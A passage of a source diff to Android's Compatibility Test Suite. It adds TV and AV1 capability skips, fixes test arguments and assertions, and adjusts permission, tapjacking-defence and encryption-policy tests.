mStreamVolumeMap.clear(); for (Integer stream : ALL_VOLUME_STREAMS) { @@ -133,6 +147,9 @@ public class MediaActivityTest { mSession.release(); mSession = null; } + if (mHdmiControlManager != null) { + mHdmiControlManager.setHdmiCecEnabled(mHdmiEnableStatus); + } try { mActivityRule.finishActivity(); diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java index 78b1c5f48ef..19621eccfc1 100644 --- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java +++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java @@ -508,12 +508,15 @@ public class MediaCodecListTest extends AndroidTestCase { } for (String mime: info.getSupportedTypes()) { CodecCapabilities caps = info.getCapabilitiesForType(mime); - boolean isVideo = (caps.getVideoCapabilities() != null); + // it advertised this mime, it should have appropriate capabilities + assertNotNull("codec=" + info.getName() + + " no capabilities for advertised mime=" + mime, caps); + AudioCapabilities acaps = caps.getAudioCapabilities(); + boolean isAudio = (acaps != null); - if (isVideo) { + if (!isAudio) { continue; } - AudioCapabilities acaps = caps.getAudioCapabilities(); int countMin = acaps.getMinInputChannelCount(); int countMax = acaps.getMaxInputChannelCount(); diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java index 33358b655b2..9a6078ce7e9 100644 --- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java +++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java @@ -2866,8 +2866,8 @@ public class MediaCodecTest extends AndroidTestCase { if (audioCaps != null) { format = MediaFormat.createAudioFormat( type, - audioCaps.getMaxInputChannelCount(), - audioCaps.getSupportedSampleRateRanges()[0].getLower()); + audioCaps.getSupportedSampleRateRanges()[0].getLower(), + audioCaps.getMaxInputChannelCount()); if (info.isEncoder()) { format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE); } diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java index 23d40e31443..7106a9a59d2 100644 --- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java +++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java @@ -387,13 +387,6 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase { } public void testID3v240ExtHeader() { - if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) { - // The fix for b/154357105 was released in mainline release 30.09.007.01 - // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063 - if (TestUtils.skipTestIfMainlineLessThan("com.google.android.media", 300900701)) { - return; - } - } setDataSourceFd("sinesweepid3v24ext.mp3"); assertEquals("Mime type was other than expected", "audio/mpeg", @@ -1073,12 +1066,20 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase { public void testGetImageAtIndexAvif() throws Exception { if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return; + if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) { + MediaUtils.skipTest("No AV1 codec for 1080p"); + return; + } testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/, 1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/); } public void testGetImageAtIndexAvifGrid() throws Exception { if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return; + if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) { + MediaUtils.skipTest("No AV1 codec for 512p"); + return; + } testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/, 1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/); } diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java index 4b5608a4592..be2b0665202 100644 --- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java +++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java @@ -15,8 +15,6 @@ */ package android.media.cts; -import static android.Manifest.permission.MEDIA_CONTENT_CONTROL; - import android.media.AudioManager; import android.platform.test.annotations.AppModeFull; import com.android.compatibility.common.util.ApiLevelUtil; @@ -107,8 +105,9 @@ public class MediaSessionManagerTest extends InstrumentationTestCase { // The permission can be held only on S+ if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return; - getInstrumentation().getUiAutomation() - .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL); + getInstrumentation().getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.MEDIA_CONTENT_CONTROL, + Manifest.permission.MANAGE_EXTERNAL_STORAGE); MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener(); mSessionManager.addOnMediaKeyEventSessionChangedListener( @@ -141,8 +140,9 @@ public class MediaSessionManagerTest extends InstrumentationTestCase { // The permission can be held only on S+ if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return; - getInstrumentation().getUiAutomation() - .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL); + getInstrumentation().getUiAutomation().adoptShellPermissionIdentity( + Manifest.permission.MEDIA_CONTENT_CONTROL, + Manifest.permission.MANAGE_EXTERNAL_STORAGE); MediaKeyEventDispatchedListener keyEventDispatchedListener = new MediaKeyEventDispatchedListener(); diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java index 69ec1583936..6fdf9553518 100644 --- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java +++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java @@ -183,6 +183,10 @@ public class ThumbnailUtilsTest { @Test public void testCreateImageThumbnailAvif() throws Exception { if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return; + if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) { + MediaUtils.skipTest("No AV1 codec for 1080p"); + return; + } final File file = stageFile("sample.avif", new File(mDir, "cts.avif")); for (Size size : TEST_SIZES) { diff --git a/tests/tests/mediaparser/OWNERS b/tests/tests/mediaparser/OWNERS index bebc5edf045..b91d177f4ac 100644 --- a/tests/tests/mediaparser/OWNERS +++ b/tests/tests/mediaparser/OWNERS @@ -1,3 +1,3 @@ # Bug component: 817235 -andrewlewis@google.com -aquilescanta@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java index a6a858ae325..0f739dbf8b1 100644 --- a/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java +++ b/tests/tests/opengl/src/android/opengl/cts/ByteBufferTest.java @@ -16,6 +16,7 @@ package android.opengl.cts; +import static android.opengl.GLES20.GL_ALPHA; import static android.opengl.GLES30.GL_ARRAY_BUFFER; import static android.opengl.GLES30.GL_BUFFER_MAP_POINTER; import static android.opengl.GLES30.GL_COLOR_ATTACHMENT0; @@ -24,8 +25,6 @@ import static android.opengl.GLES30.GL_FRAMEBUFFER; import static android.opengl.GLES30.GL_FRAMEBUFFER_COMPLETE; import static android.opengl.GLES30.GL_MAP_READ_BIT; import static android.opengl.GLES30.GL_NO_ERROR; -import static android.opengl.GLES30.GL_R8; -import static android.opengl.GLES30.GL_RED; import static android.opengl.GLES30.GL_RGBA; import static android.opengl.GLES30.GL_STATIC_DRAW; import static android.opengl.GLES30.GL_TEXTURE_2D; @@ -105,7 +104,7 @@ public class ByteBufferTest extends GlTestBase { glGenTextures(1, textureHandles); int textureHandle = textureHandles.get(0); glBindTexture(GL_TEXTURE_2D, textureHandle); - glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, 2, 2, 0, GL_RED, GL_UNSIGNED_BYTE, texelData); + glTexImage2D(GL_TEXTURE_2D, 0, GL_ALPHA, 2, 2, 0, GL_ALPHA, GL_UNSIGNED_BYTE, texelData); assertEquals(glGetError(), GL_NO_ERROR); glDeleteTextures(1, textureHandles); } diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt index 5e932c30bdc..cfd62fb01fd 100644 --- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt +++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt @@ -49,6 +49,7 @@ import org.junit.After import org.junit.Assert.assertFalse import org.junit.Assert.assertThat import org.junit.Assert.assertTrue +import org.junit.Assume.assumeFalse import org.junit.Before import org.junit.Rule import org.junit.Test @@ -119,8 +120,12 @@ class AppHibernationIntegrationTest { packageManager.getApplicationInfo(APK_PACKAGE_NAME_S_APP, 0 /* flags */) val stopped = ((ai.flags and ApplicationInfo.FLAG_STOPPED) != 0) assertTrue(stopped) - openUnusedAppsNotification() + if (hasFeatureTV()) { + // Skip checking unused apps screen because it may be unavailable on TV + return + } + openUnusedAppsNotification() waitFindObject(By.text(APK_PACKAGE_NAME_S_APP)) } } @@ -129,6 +134,9 @@ class AppHibernationIntegrationTest { @Test fun testPreSVersionUnusedApp_doesntGetForceStopped() { + assumeFalse( + "TV may have different behaviour for Pre-S version apps", + hasFeatureTV()) withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) { withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) { // Use app @@ -154,6 +162,9 @@ class AppHibernationIntegrationTest { @AppModeFull(reason = "Uses application details settings") @Test fun testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists() { + assumeFalse( + "Remove permissions and free up space toggle may be unavailable on TV", + hasFeatureTV()) withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") { withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) { // Open app info diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt index da554097481..b1688d24dcc 100644 --- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt +++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt @@ -190,6 +190,13 @@ fun hasFeatureWatch(): Boolean { PackageManager.FEATURE_WATCH) } +fun hasFeatureTV(): Boolean { + return InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature( + PackageManager.FEATURE_LEANBACK) || + InstrumentationRegistry.getTargetContext().packageManager.hasSystemFeature( + PackageManager.FEATURE_TELEVISION) +} + private fun expandNotificationsWatch(uiDevice: UiDevice) { with(uiDevice) { wakeUp() diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt index 2d3610b8e6e..a9535622a85 100644 --- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt +++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt @@ -149,6 +149,11 @@ class AutoRevokeTest { // Verify assertPermission(PERMISSION_DENIED) + + if (hasFeatureTV()) { + // Skip checking unused apps screen because it may be unavailable on TV + return + } openUnusedAppsNotification() waitFindObject(By.text(supportedAppPackageName)) @@ -161,6 +166,9 @@ class AutoRevokeTest { @AppModeFull(reason = "Uses separate apps for testing") @Test fun testUnusedApp_uninstallApp() { + assumeFalse( + "Unused apps screen may be unavailable on TV", + hasFeatureTV()) withUnusedThresholdMs(3L) { withDummyAppNoUninstallAssertion { // Setup diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt index 6869889e68b..ee2ab83cb4d 100644 --- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt +++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt @@ -19,6 +19,7 @@ package android.os.cts import android.companion.CompanionDeviceManager import android.content.pm.PackageManager import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE +import android.content.pm.PackageManager.FEATURE_LEANBACK import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP import android.content.pm.PackageManager.PERMISSION_GRANTED import android.net.MacAddress @@ -87,6 +88,7 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP) } private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) } + private val isTV: Boolean by lazy { pm.hasSystemFeature(FEATURE_LEANBACK) } private fun isShellAssociated(macAddress: String, packageName: String): Boolean { val userId = context.userId @@ -218,6 +220,10 @@ class CompanionDeviceManagerTest : InstrumentationTestCase() { @AppModeFull(reason = "Companion API for non-instant apps only") @Test fun testRequestNotifications() { + // Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists + // in Settings but not in TvSettings for Android TV devices (b/199224565). + assumeFalse(isTV) + installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION") startApp(TEST_APP_PACKAGE_NAME) diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java index e2e9c9d6709..1ae870622a1 100644 --- a/tests/tests/os/src/android/os/cts/FileObserverTest.java +++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java @@ -345,11 +345,8 @@ public class FileObserverTest extends AndroidTestCase { + "] expected: " + expectedEvents + " Actual: " + actualEvents; int j = 0; for (int i = 0; i < expected.length; i++) { - while (expected[i] != moveEvents[j].event) { - j++; - if (j >= moveEvents.length) - fail(message); - } + while (j < moveEvents.length && expected[i] != moveEvents[j].event) j++; + if (j >= moveEvents.length) fail(message); j++; } } diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java index 3fa3dac2b27..0b5ed0d56f0 100644 --- a/tests/tests/os/src/android/os/cts/StrictModeTest.java +++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java @@ -874,6 +874,9 @@ public class StrictModeTest { assertViolation("Tried to access visual service " + WM_CLASS_NAME, () -> configContext.getSystemService(WindowManager.class)); + // Make the ViewConfiguration to be cached so that we won't call WindowManager + ViewConfiguration.get(configContext); + assertNoViolation(() -> ViewConfiguration.get(configContext)); mInstrumentation.runOnMainSync(() -> { diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java index fed6b4441c3..b961efbf4ca 100644 --- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java +++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java @@ -20,6 +20,8 @@ import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import android.app.Instrumentation; +import android.content.ActivityNotFoundException; +import android.content.pm.PackageManager; import android.net.Uri; import android.os.image.DynamicSystemClient; import android.platform.test.annotations.AppModeFull; @@ -29,6 +31,7 @@ import androidx.test.filters.SmallTest; import androidx.test.runner.AndroidJUnit4; import org.junit.After; +import org.junit.Assume; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @@ -40,6 +43,12 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan private boolean mUpdated; private Instrumentation mInstrumentation; + private static final String DSU_PACKAGE_NAME = "com.android.dynsystem"; + + private PackageManager getPackageManager() { + return mInstrumentation.getContext().getPackageManager(); + } + public void onStatusChanged(int status, int cause, long progress, Throwable detail) { mUpdated = true; } @@ -63,6 +72,13 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan mUpdated = false; try { dSClient.start(uri, 1024L << 10); + } catch (ActivityNotFoundException e) { + try { + getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException ignore) { + Assume.assumeNoException(ignore); + } + throw e; } catch (SecurityException e) { fail(); } @@ -90,6 +106,13 @@ public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChan Uri uri = Uri.parse("https://www.google.com/").buildUpon().build(); try { dSClient.start(uri, 1024L << 10); + } catch (ActivityNotFoundException e) { + try { + getPackageManager().getPackageInfo(DSU_PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException ignore) { + Assume.assumeNoException(ignore); + } + throw e; } catch (SecurityException e) { fail(); } diff --git a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java index d013b93ecac..c4c66564c36 100644 --- a/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java +++ b/tests/tests/permission/src/android/permission/cts/ShellPermissionTest.java @@ -24,7 +24,9 @@ import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Process; +import android.os.UserHandle; import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.SystemUserOnly; import android.util.Log; import androidx.test.InstrumentationRegistry; @@ -64,7 +66,10 @@ public class ShellPermissionTest { final Set<String> blacklist = new HashSet<>(Arrays.asList(BLACKLISTED_PERMISSIONS)); final PackageManager pm = sContext.getPackageManager(); - final String[] pkgs = pm.getPackagesForUid(Process.SHELL_UID); + int uid = UserHandle.getUid(UserHandle.myUserId(), UserHandle.getAppId(Process.SHELL_UID)); + final String[] pkgs = pm.getPackagesForUid(uid); + Log.d(LOG_TAG, "SHELL_UID: " + Process.SHELL_UID + " myUserId: " + + UserHandle.myUserId() + " uid: " + uid + " pkgs.length: " + pkgs.length); assertNotNull("No SHELL packages were found", pkgs); assertNotEquals("SHELL package list had 0 size", 0, pkgs.length); String pkg = pkgs[0]; @@ -73,9 +78,18 @@ public class ShellPermissionTest { assertNotNull("No permissions found for " + pkg, packageInfo.requestedPermissions); for (String permission : packageInfo.requestedPermissions) { - Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission); + Log.d(LOG_TAG, "SHELL as " + pkg + " uses permission " + permission + " uid: " + + uid); assertFalse("SHELL as " + pkg + " contains the illegal permission " + permission, blacklist.contains(permission)); } } + + @Test + @SystemUserOnly + @AppModeFull(reason = "Instant apps cannot read properties of other packages. Also the shell " + + "is never an instant app, hence this test does not matter for instant apps.") + public void testBlacklistedPermissionsForSystemUser() throws Exception { + testBlacklistedPermissions(); + } } diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt index 1f1d4598db0..901cc3504ac 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt @@ -143,6 +143,11 @@ abstract class BasePermissionTest { return UiAutomatorUtils.waitFindObject(selector, timeoutMillis) } + protected fun waitFindObjectOrNull(selector: BySelector): UiObject2? { + waitForIdle() + return UiAutomatorUtils.waitFindObjectOrNull(selector) + } + protected fun waitFindObjectOrNull(selector: BySelector, timeoutMillis: Long): UiObject2? { waitForIdle() return UiAutomatorUtils.waitFindObjectOrNull(selector, timeoutMillis) diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt index eb94a785f16..8f701f3cc36 100644 --- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt @@ -84,6 +84,7 @@ abstract class BaseUsePermissionTest : BasePermissionTest() { const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground" const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground" const val ASK_BUTTON_TEXT = "app_permission_button_ask" + const val ALLOW_ONE_TIME_BUTTON_TEXT = "grant_dialog_button_allow_one_time" const val DENY_BUTTON_TEXT = "grant_dialog_button_deny" const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_deny_and_dont_ask_again" diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt index 86b9c4e1bb1..7929b2e4307 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt @@ -25,7 +25,6 @@ import com.android.compatibility.common.util.SystemUtil import org.junit.After import org.junit.Assume.assumeFalse import org.junit.Before -import org.junit.Ignore import org.junit.Test private const val APP_LABEL_1 = "CtsMicAccess" @@ -93,6 +92,7 @@ class PermissionHistoryTest : BasePermissionHubTest() { waitFindObject(By.text(SHOW_SYSTEM)) pressBack() + pressBack() } @Test @@ -110,7 +110,6 @@ class PermissionHistoryTest : BasePermissionHubTest() { pressBack() } - @Ignore("b/186656826#comment27") @Test fun testCameraTimelineWithMultipleApps() { openMicrophoneApp(INTENT_ACTION_1) diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt index 1b3627f2228..b26e536cc1e 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt @@ -68,23 +68,25 @@ class PermissionTapjackingTest : BaseUsePermissionTest() { assertAppHasPermission(ACCESS_FINE_LOCATION, false) requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {} - val buttonCenter = waitFindObject(By.text( + val foregroundButtonCenter = waitFindObject(By.text( getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT))).visibleCenter - val dialogBounds = waitFindObject(By.res( - "com.android.permissioncontroller", "grant_dialog")).visibleBounds - val messageBottom = waitFindObject(By.res( - "com.android.permissioncontroller", "permission_message")).visibleBounds.bottom + val oneTimeButton = waitFindObjectOrNull(By.text( + getPermissionControllerString(ALLOW_ONE_TIME_BUTTON_TEXT))) + // If one-time button is not available, fallback to deny button + val overlayButtonBounds = oneTimeButton?.visibleBounds + ?: waitFindObject(By.text(getPermissionControllerString( + DENY_BUTTON_TEXT))).visibleBounds // Wait for overlay to hide the dialog context.sendBroadcast(Intent(ACTION_SHOW_OVERLAY) .putExtra(EXTRA_FULL_OVERLAY, false) - .putExtra(DIALOG_LEFT, dialogBounds.left) - .putExtra(DIALOG_TOP, dialogBounds.top) - .putExtra(DIALOG_RIGHT, dialogBounds.right) - .putExtra(MESSAGE_BOTTOM, messageBottom)) + .putExtra(DIALOG_LEFT, overlayButtonBounds.left) + .putExtra(DIALOG_TOP, overlayButtonBounds.top) + .putExtra(DIALOG_RIGHT, overlayButtonBounds.right) + .putExtra(MESSAGE_BOTTOM, overlayButtonBounds.bottom)) waitFindObject(By.res("android.permission3.cts.usepermission:id/overlay")) - tryClicking(buttonCenter) + tryClicking(foregroundButtonCenter) } private fun tryClicking(buttonCenter: Point) { diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt index 930f5a52170..26fe615fbef 100644 --- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt +++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt @@ -236,7 +236,7 @@ class PermissionTest23 : BaseUsePermissionTest() { assertAppHasPermission(android.Manifest.permission.READ_CONTACTS, false) } - @Test(timeout = 120000) + @Test(timeout = 180000) @FlakyTest fun testNoResidualPermissionsOnUninstall() { Assume.assumeFalse(packageManager.arePermissionsIndividuallyControlled()) diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt index 7f25e8c10db..b5172988ef5 100644 --- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt +++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt @@ -169,7 +169,7 @@ class CameraMicIndicatorsPermissionTest { if (isTv) { assertTvIndicatorsShown(useMic, useCamera, useHotword) } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { - assertCarIndicatorsShown(useMic, useCamera) + assertCarIndicatorsShown(useMic, useCamera, useHotword) } else { uiDevice.openQuickSettings() assertPrivacyChipAndIndicatorsPresent(useMic, useCamera) @@ -194,26 +194,42 @@ class CameraMicIndicatorsPermissionTest { } } - private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) { + private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) { // Ensure the privacy chip is present (or not) - val chipFound = isChipPresent() - if (useMic || useCamera) { + var chipFound = false + try { + eventually { + val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID)) + assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip) + privacyChip.click() + chipFound = true + } + } catch (e: Exception) { + // Handle more gracefully below + } + + if (useMic) { assertTrue("Did not find chip", chipFound) - } else { + } else if (useHotword || useCamera) { assertFalse("Found chip, but did not expect to", chipFound) return } eventually { - if (useMic) { - val appView = uiDevice.findObject(UiSelector().textContains(micLabel)) + if (useCamera || useHotword) { + // There should be no microphone dialog when using hot word and/or camera + val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel)) + assertFalse("View with text $micLabel found, but did not expect to", + micLabelView.exists()) + val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL)) + assertFalse("View with text $APP_LABEL found, but did not expect to", + appView.exists()) + } else if (useMic) { + val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel)) + assertTrue("View with text $micLabel not found", micLabelView.exists()) + val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL)) assertTrue("View with text $APP_LABEL not found", appView.exists()) } - if (useCamera) { - // There is no camera indicator in Cars. - } - val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL)) - assertTrue("View with text $APP_LABEL not found", appView.exists()) } } @@ -268,4 +284,4 @@ class CameraMicIndicatorsPermissionTest { private fun waitForIdle() = uiAutomation.waitForIdle(IDLE_TIMEOUT_MILLIS, TIMEOUT_MILLIS) -}
\ No newline at end of file +} diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java index 6db2d4c59c3..8122b4dfb26 100644 --- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java +++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java @@ -37,6 +37,7 @@ import androidx.test.runner.AndroidJUnit4; import org.junit.After; import org.junit.Before; +import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; @@ -99,6 +100,7 @@ public class SettingsPanelTest { // Check correct package is opened + @Ignore @Test public void internetPanel_correctPackage() { launchInternetPanel(); @@ -136,6 +138,7 @@ public class SettingsPanelTest { assertThat(currentPackage).isEqualTo(mSettingsPackage); } + @Ignore @Test public void internetPanel_doneClosesPanel() { // Launch panel diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java index aed220d8e61..c6768abbac9 100644 --- a/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java +++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePlacementTest.java @@ -221,8 +221,9 @@ public class MediaStorePlacementTest { Optional.of("Android/media/android.provider.cts/foo"), null)); assertFalse(updatePlacement(uri, Optional.of("Android/media/com.example/foo"), null)); - assertFalse(updatePlacement(uri, + assertTrue(updatePlacement(uri, Optional.of("DCIM"), null)); + assertFalse(updatePlacement(uri, Optional.of("Android/media"), null)); } @Test @@ -232,12 +233,13 @@ public class MediaStorePlacementTest { final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery, mExternalImages, "image/jpeg"); - assertFalse(updatePlacement(uri, + assertTrue(updatePlacement(uri, Optional.of("Android/media/android.provider.cts/foo"), null)); assertFalse(updatePlacement(uri, Optional.of("Android/media/com.example/foo"), null)); assertTrue(updatePlacement(uri, Optional.of("DCIM"), null)); + assertFalse(updatePlacement(uri, Optional.of("Android/media"), null)); } @Test diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index 45f69c1fc11..675106fb276 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -26,6 +26,7 @@ <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <!-- For FileIntegrityManager --> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/> diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp index f852553e057..2952105fa61 100644 --- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp +++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp @@ -203,6 +203,7 @@ static void validateEncryptionFlags(int flags) { // https://source.android.com/security/encryption/file-based.html TEST(FileBasedEncryptionPolicyTest, allowedPolicy) { int first_api_level = getFirstApiLevel(); + char crypto_type[PROPERTY_VALUE_MAX]; struct fscrypt_get_policy_ex_arg arg; int res; int contents_mode; @@ -215,6 +216,8 @@ TEST(FileBasedEncryptionPolicyTest, allowedPolicy) { FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno); } + property_get("ro.crypto.type", crypto_type, ""); + GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'"; GTEST_LOG_(INFO) << "First API level is " 